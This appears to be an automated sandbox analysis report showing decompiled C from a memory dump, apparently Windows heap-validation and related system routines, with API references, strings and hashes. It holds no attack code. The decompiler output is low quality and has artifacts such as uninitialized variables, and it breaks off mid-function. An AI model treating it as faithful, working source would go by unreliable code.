HEAP: , xrefs: 6C0C4F1A, 6C0C4F6A, 6C0C4FC7, 6C0C502A, 6C0C506E, 6C0C50B6, 6C0C5107
Heap block at %p has incorrect segment offset (%x), xrefs: 6C0C503B
Heap block at %p is not last block in segment (%p), xrefs: 6C0C4FD6
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 6C0C50C6
HEAP[%wZ]: , xrefs: 6C0C4EE1, 6C0C4F0D, 6C0C4F5D, 6C0C4FBA, 6C0C501D, 6C0C5061, 6C0C50FA

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemoryUlong
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 2560481200-3591852110
Opcode ID: 140b9d6791aec34867a0c23cfe22d4cda3956769a58596370cc9f9dcc2b8a19f
Instruction ID: f7b7d52b068dbee1f20d891066ce70cdcb08fca179fc3e527ecc1c52fec82494
Opcode Fuzzy Hash: 140b9d6791aec34867a0c23cfe22d4cda3956769a58596370cc9f9dcc2b8a19f
Instruction Fuzzy Hash: 4912EB34700601AFD725CFA8C480BBEB7F1FF48708F258419E4968BA51D739E885CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C4496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6C0C4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6C0C49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6c0f6378 = _t267;
						asm("int3");
						 *0x6c0f6378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6C03174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6C00B150();
							} else {
								E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6C00B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6C00B150();
							} else {
								E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6C00B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6c0f6350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6C049660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6C03174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6C00B150();
										} else {
											E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6C00B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6C00B150();
									} else {
										E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6C00B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6C00B150();
								} else {
									E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6C00B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6C00B150();
							} else {
								E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6C0C4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6C0BFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6C0B23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6c0c44a1
0x6c0c44a3
0x6c0c44a7
0x6c0c44ac
0x6c0c44af
0x6c0c44b2
0x6c0c44b9
0x6c0c44bc
0x6c0c47f2
0x6c0c47f2
0x6c0c47f8
0x6c0c47fc
0x6c0c47fe
0x6c0c4804
0x6c0c4805
0x6c0c4805
0x6c0c480c
0x6c0c4810
0x6c0c4812
0x6c0c4812
0x6c0c4812
0x6c0c4822
0x6c0c4822
0x6c0c4827
0x6c0c4827
0x00000000
0x6c0c4827
0x6c0c44c4
0x6c0c44d3
0x6c0c44d9
0x6c0c44dc
0x6c0c44de
0x6c0c44e0
0x6c0c4560
0x6c0c4520
0x6c0c4522
0x6c0c4525
0x6c0c4528
0x6c0c452b
0x6c0c452e
0x6c0c4530
0x6c0c4697
0x6c0c469d
0x6c0c46a1
0x6c0c46c0
0x6c0c46c5
0x6c0c46a3
0x6c0c46b8
0x6c0c46bd
0x6c0c46cb
0x6c0c46d4
0x6c0c4677
0x6c0c4677
0x6c0c4679
0x6c0c467c
0x6c0c468a
0x6c0c4690
0x6c0c4690
0x6c0c47f1
0x6c0c47f1
0x6c0c47f1
0x00000000
0x6c0c47f1
0x6c0c4536
0x6c0c4539
0x6c0c453c
0x6c0c4636
0x6c0c463c
0x6c0c4640
0x6c0c465f
0x6c0c4664
0x6c0c4642
0x6c0c4657
0x6c0c465c
0x6c0c4670
0x00000000
0x6c0c4542
0x6c0c4542
0x6c0c4546
0x6c0c4548
0x6c0c454b
0x6c0c4555
0x6c0c455b
0x6c0c455b
0x6c0c455b
0x6c0c455d
0x6c0c455d
0x6c0c455d
0x00000000
0x6c0c455d
0x6c0c453c
0x6c0c4579
0x6c0c457c
0x6c0c4587
0x6c0c4589
0x6c0c4591
0x6c0c4592
0x6c0c4597
0x6c0c4598
0x6c0c45a1
0x6c0c45ab
0x6c0c45ab
0x6c0c45a1
0x6c0c45ae
0x6c0c45b4
0x6c0c45b9
0x6c0c45bd
0x6c0c4759
0x6c0c4759
0x6c0c475f
0x6c0c4761
0x6c0c4763
0x6c0c4765
0x6c0c4768
0x6c0c476b
0x6c0c476d
0x6c0c479c
0x6c0c479c
0x6c0c479f
0x6c0c47a2
0x6c0c47a4
0x6c0c4830
0x6c0c4833
0x6c0c4879
0x6c0c487d
0x6c0c48f1
0x6c0c48f3
0x6c0c48f3
0x00000000
0x6c0c48f3
0x6c0c487f
0x6c0c4885
0x6c0c4887
0x6c0c48a8
0x6c0c48a8
0x6c0c48ae
0x6c0c48b0
0x6c0c48dc
0x6c0c48dc
0x6c0c48dc
0x6c0c48dc
0x6c0c48ec
0x00000000
0x6c0c48ec
0x6c0c48b2
0x6c0c48bc
0x6c0c48be
0x6c0c48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0c48c3
0x6c0c48c3
0x6c0c48c6
0x6c0c48c9
0x6c0c48cc
0x6c0c48d1
0x6c0c48d4
0x00000000
0x00000000
0x6c0c48d6
0x6c0c48d7
0x6c0c48da
0x00000000
0x00000000
0x00000000
0x6c0c48da
0x6c0c494f
0x6c0c4955
0x6c0c4959
0x6c0c4978
0x6c0c497d
0x6c0c495b
0x6c0c4970
0x6c0c4975
0x6c0c4986
0x6c0c4987
0x6c0c498d
0x6c0c4990
0x6c0c4997
0x6c0c47ef
0x6c0c47ef
0x6c0c47ef
0x00000000
0x6c0c47ef
0x6c0c4890
0x6c0c4890
0x6c0c4891
0x6c0c4891
0x6c0c4894
0x6c0c4897
0x6c0c489d
0x6c0c48a0
0x00000000
0x00000000
0x6c0c48a2
0x6c0c48a3
0x6c0c48a6
0x00000000
0x00000000
0x00000000
0x6c0c48a6
0x6c0c48fb
0x6c0c4901
0x6c0c4905
0x6c0c4924
0x6c0c4929
0x6c0c4907
0x6c0c491c
0x6c0c4921
0x6c0c492f
0x6c0c4935
0x6c0c4936
0x6c0c4939
0x6c0c4942
0x00000000
0x6c0c4947
0x6c0c4835
0x6c0c483b
0x6c0c483f
0x6c0c485e
0x6c0c4863
0x6c0c4841
0x6c0c4856
0x6c0c485b
0x6c0c4869
0x6c0c486c
0x6c0c486f
0x6c0c47e7
0x6c0c47e7
0x00000000
0x6c0c47ec
0x6c0c47aa
0x6c0c47b0
0x6c0c47b4
0x6c0c47d3
0x6c0c47d8
0x6c0c47b6
0x6c0c47cb
0x6c0c47d0
0x6c0c47de
0x6c0c47df
0x6c0c47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0c476f
0x6c0c476f
0x6c0c4778
0x6c0c4785
0x6c0c4787
0x6c0c478c
0x6c0c478e
0x00000000
0x00000000
0x6c0c4790
0x6c0c4792
0x6c0c4794
0x00000000
0x00000000
0x6c0c4796
0x6c0c4799
0x00000000
0x6c0c4799
0x00000000
0x6c0c45c3
0x6c0c45c3
0x6c0c45c7
0x6c0c45c7
0x6c0c45ca
0x6c0c45cf
0x6c0c45d3
0x6c0c45df
0x6c0c45e4
0x6c0c45e6
0x6c0c45e8
0x6c0c45ed
0x6c0c45ed
0x6c0c45f2
0x6c0c45f2
0x6c0c45f7
0x6c0c45fc
0x6c0c4602
0x6c0c4606
0x6c0c4609
0x6c0c460f
0x6c0c46de
0x6c0c46e3
0x6c0c46e5
0x6c0c46ec
0x6c0c46ee
0x6c0c46f6
0x6c0c46f6
0x6c0c46f6
0x6c0c46f6
0x6c0c46ec
0x6c0c4615
0x6c0c4615
0x6c0c461d
0x6c0c462e
0x6c0c462e
0x6c0c461d
0x6c0c460f
0x6c0c4609
0x6c0c46fd
0x00000000
0x00000000
0x6c0c4710
0x6c0c471a
0x6c0c4720
0x6c0c4720
0x6c0c4722
0x6c0c472c
0x00000000
0x6c0c472e
0x6c0c472e
0x00000000
0x6c0c472e
0x6c0c472c
0x6c0c4738
0x6c0c473c
0x6c0c474b
0x6c0c4751
0x6c0c4751
0x00000000
0x6c0c473c
0x6c0c48f4
0x6c0c48f4
0x00000000
0x6c0c48f4

APIs

Part of subcall function 6C0C49A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6C0C44B7,?), ref: 6C0C49DF
Part of subcall function 6C0C49A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6C0C44B7,?), ref: 6C0C49FE
Part of subcall function 6C0C49A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6C0C4A42
Part of subcall function 6C0C49A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6C0C4A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6C0C459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C4657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C4664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C4670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C46B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C46C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20), ref: 6C0C46D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C47CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C47D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20), ref: 6C0C47E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C4856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C4863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C4929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6C0C4942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C), ref: 6C0C4970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20,0000001C,6C05F07A), ref: 6C0C497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6C0C4997

Strings

Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6C0C486F
Non-Dedicated free list element %p is out of order, xrefs: 6C0C466B
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6C0C47E2
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6C0C4992
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6C0C46CF
HEAP: , xrefs: 6C0C465F, 6C0C46C0, 6C0C47D3, 6C0C485E, 6C0C4924, 6C0C4978
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6C0C493D
HEAP[%wZ]: , xrefs: 6C0C4652, 6C0C46B3, 6C0C47C6, 6C0C4851, 6C0C4917, 6C0C496B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: 427ddcb883eed3a5d43de63ce304baeb0c534ca7a41bd379d85a9190f7e33b3e
Instruction ID: 9d0783114bb34f35515ca4d4ff154bedbe224dc30705a41140c91406800affcf
Opcode Fuzzy Hash: 427ddcb883eed3a5d43de63ce304baeb0c534ca7a41bd379d85a9190f7e33b3e
Instruction Fuzzy Hash: 78F1FD31A00645EFDB11CFA8C480BBEB7F5FF49708F648129E05697A51C734A98ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 6C022990, Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E6C022990(intOrPtr* __ecx, int __edx, signed short* _a4, signed int _a8, int _a12) {
				signed int _v12;
				short _v16;
				short _v20;
				short _v24;
				short* _v28;
				short* _v32;
				void* _v36;
				short _v38;
				void* _v40;
				signed int _v44;
				char _v45;
				signed short _v46;
				signed short _v48;
				signed int _v52;
				void* _v56;
				signed short* _v60;
				int _v64;
				int _v68;
				intOrPtr _v72;
				void* _v76;
				int _v80;
				signed int _v84;
				signed int _v88;
				void* _v92;
				signed char _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				intOrPtr _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				void _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t208;
				signed int _t213;
				signed int _t222;
				void* _t225;
				signed char _t226;
				signed short _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed short _t241;
				void* _t243;
				signed int _t244;
				signed int _t247;
				signed int _t248;
				void* _t251;
				signed int _t252;
				signed char _t265;
				void* _t270;
				signed int _t271;
				unsigned int _t278;
				signed int _t280;
				void* _t288;
				void* _t291;
				signed int _t292;
				unsigned int _t298;
				void* _t304;
				signed int _t305;
				unsigned int _t316;
				signed short _t319;
				signed char _t323;
				signed int _t328;
				int _t329;
				short* _t331;
				intOrPtr _t334;
				signed short _t335;
				signed int _t336;
				intOrPtr _t337;
				signed int _t339;
				intOrPtr _t340;
				signed int _t341;
				intOrPtr _t344;
				intOrPtr _t351;
				signed short _t353;
				intOrPtr _t356;
				signed short* _t357;
				void* _t362;
				unsigned int _t364;
				signed short _t366;
				signed int _t367;
				int _t368;
				intOrPtr* _t369;
				signed int _t370;
				signed int _t371;
				signed short* _t372;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;

				_t361 = __edx;
				_v12 =  *0x6c0fd360 ^ _t377;
				_t329 = _a12;
				_v60 = _a4;
				_t369 = __ecx;
				_v88 = _a8;
				_v45 = __edx;
				_v160 = 0x40;
				memset( &_v156, 0, 0x3c);
				_t379 = _t378 + 0xc;
				_v76 =  *_t369;
				_t368 = 0;
				_v72 =  *((intOrPtr*)(_t369 + 4));
				_t208 =  &_v16;
				_v32 = _t208;
				_v28 = _t208;
				_v36 = _t208;
				_v16 = 0;
				_v52 = 0;
				_v24 = 2;
				_v20 = 2;
				_v40 = 0x20000;
				_t370 = E6C022D50(3, 0, 2,  &_v76,  &_v160);
				if(_t370 >= 0) {
					__eflags = _v45;
					if(_v45 != 0) {
						_t370 = 0;
						L2:
						_t213 = _v32;
						_t331 = _v28;
						if(_t213 != 0) {
							if(_t213 != _t331) {
								_v88 = _t213;
								RtlFreeUnicodeString( &_v92);
								_t331 = _v28;
							}
							_v32 = _t331;
							_v24 = _v20;
						}
						_v36 = _t331;
						if(_t331 != 0) {
							 *_t331 = 0;
						}
						_v40 = 0;
						_v38 = _v20;
						if(_t368 != 0) {
							E6C039B10(_t368);
						}
						return E6C04B640(_t370, _t329, _v12 ^ _t377, _t361, _t368, _t370);
					}
					__eflags = _v148 - 0x14;
					_t368 = _v128;
					if(_v148 < 0x14) {
						L57:
						_t370 = 0xc0150003;
						goto L2;
					}
					__eflags = _v156 - 1;
					if(_v156 != 1) {
						goto L57;
					}
					_t334 = _v152;
					_t361 =  *(_t334 + 0x10);
					__eflags = _t361 - _v132;
					if(_t361 > _v132) {
						goto L57;
					}
					_t222 =  *(_t334 + 0xc);
					__eflags = _t222 - 0x1fffffff;
					if(_t222 > 0x1fffffff) {
						goto L57;
					}
					_t371 = _t222 * 8;
					__eflags = _t361 -  !_t371;
					if(_t361 >  !_t371) {
						goto L57;
					}
					_t225 = _t371 + _t361;
					_t361 = _v132;
					__eflags = _t225 - _t361;
					if(_t225 > _t361) {
						goto L57;
					}
					_t226 =  *(_t334 + 4);
					__eflags = _t226 & 0x00000002;
					if((_t226 & 0x00000002) == 0) {
						L22:
						_t372 = _v60;
						_v56 =  *(_t334 + 0x10) + _v136;
						_v64 = 0;
						 *_t372 = 0;
						_t335 = 0;
						_v48 =  *(_t334 + 0xc);
						_t230 = 0;
						__eflags = _v48;
						if(_v48 != 0) {
							_t231 = 0;
							__eflags = 0;
							while(1) {
								_t336 = _t231 * 8;
								_t232 = _v56;
								_v44 = _t336;
								_t337 =  *((intOrPtr*)(_t336 + _t232 + 4));
								__eflags = _t337 - _t361;
								if(_t337 > _t361) {
									goto L57;
								}
								_t233 =  *(_v44 + _t232);
								_t372 = _v60;
								_v44 = _t233;
								__eflags = _t337 -  !_t233;
								if(_t337 >  !_t233) {
									goto L57;
								}
								__eflags = _v44 + _t337 - _t361;
								if(_v44 + _t337 > _t361) {
									goto L57;
								}
								_t335 = (_v44 & 0x0000ffff) +  *_t372;
								_v44 = _t335 & 0x0000ffff;
								_t231 = _v64 + 1;
								 *_t372 = _t335;
								_v64 = _t231;
								__eflags = _t231 - _v48;
								if(_t231 != _v48) {
									continue;
								}
								_t230 = _v44 & 0x0000ffff;
								goto L23;
							}
							goto L57;
						}
						L23:
						_t361 = _v52;
						_t241 = _t230 & 0x0000ffff;
						__eflags = _t361;
						if(_t361 != 0) {
							_t319 = ( *_t361 & 0x0000ffff) + _t335;
							__eflags = _t319;
							 *_t372 = _t319;
							_t241 = _t319 & 0x0000ffff;
						}
